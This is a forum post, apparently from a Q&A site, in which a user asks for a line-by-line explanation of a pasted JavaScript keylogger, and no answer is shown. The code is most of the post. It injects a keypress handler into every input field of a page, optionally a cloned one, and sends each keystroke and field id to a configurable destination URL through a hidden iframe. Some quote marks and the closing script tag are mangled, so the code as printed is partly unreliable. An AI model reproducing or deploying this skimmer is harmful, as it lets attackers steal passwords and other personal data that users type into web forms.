April 17, 2021

Can someone explain me what this code exactly does?

I know it’s a keylogger but:

* What does this code exactly do and what’s the process behind it?
* Which line of code does what exactly?
* How do I know which line of code does what exactly, how do you know?

​

var destination = null;
var useClone = false;
var cloneSource = null;
var cloneDelay = 1000;

function hookInputs() {
var frame = document.getElementById(‘overlayFrame’);

var keyPressScript =
‘<script>’ +
‘var l = Math.random().toString().substring(2);’ +
‘function relayKeyPress(e) {‘ +
‘var fc = document.getElementById(“frameContainer”);’ +
‘var x = String.fromCharCode(e.keyCode);’ +
‘var y = String.fromCharCode(e.which);’ +
‘var k = e.keyCode ? x : y;’ +
‘var f = ” + destination +
” + escape(k) + ‘,’ + ‘ +
‘(e.srcElement ? e.srcElement.id : e.target.id) + ‘ +
”,’ + l;’ +
‘fc.src = f;’ +
‘};’ +
‘</x73cript>’;

var iframe = ‘<iframe id=”frameContainer” style=”display:none;”></iframe>’;

var sourceDoc = useClone ? frame.contentDocument : document;

var html = sourceDoc.getElementsByTagName(‘html’)[0].innerHTML;

html = html.replace(/<head([^>]*)>/i, ‘<head $1>’ + keyPressScript);
html = html.replace(/<body([^>]*)>/i, ‘<body $1>’ + iframe);
html = html.replace(/<input/gi, ‘<input onkeypress=”relayKeyPress(event)” ‘);

document.clear();
document.write(html);
}

window.onload = function() {
if (destination == null) {
alert(‘destination not set’);

return;
}

if (useClone) {

if (cloneSource == null) {
alert(‘cloneSource not set’);
return;
}

document.body.innerHTML +=
‘<iframe style=”display:none;” id=”overlayFrame” src=”‘ +
cloneSource + ‘”></iframe>’;

setTimeout(“hookInputs()”, cloneDelay);
}
else
hookInputs();
};

Leave a Reply

Your email address will not be published. Required fields are marked *

Note: By filling this form and submitting your commen, you acknowledge, agree and comply with our terms of service. In addition you acknowledge that you are willingly sharing your email address with AiOWikis and you might receive notification emails from AiOWikis for comment notifications. AiOWiksi guarantees that your email address WILL NOT be used for advertisement or email marketting purposes.

This site uses Akismet to reduce spam. Learn how your comment data is processed.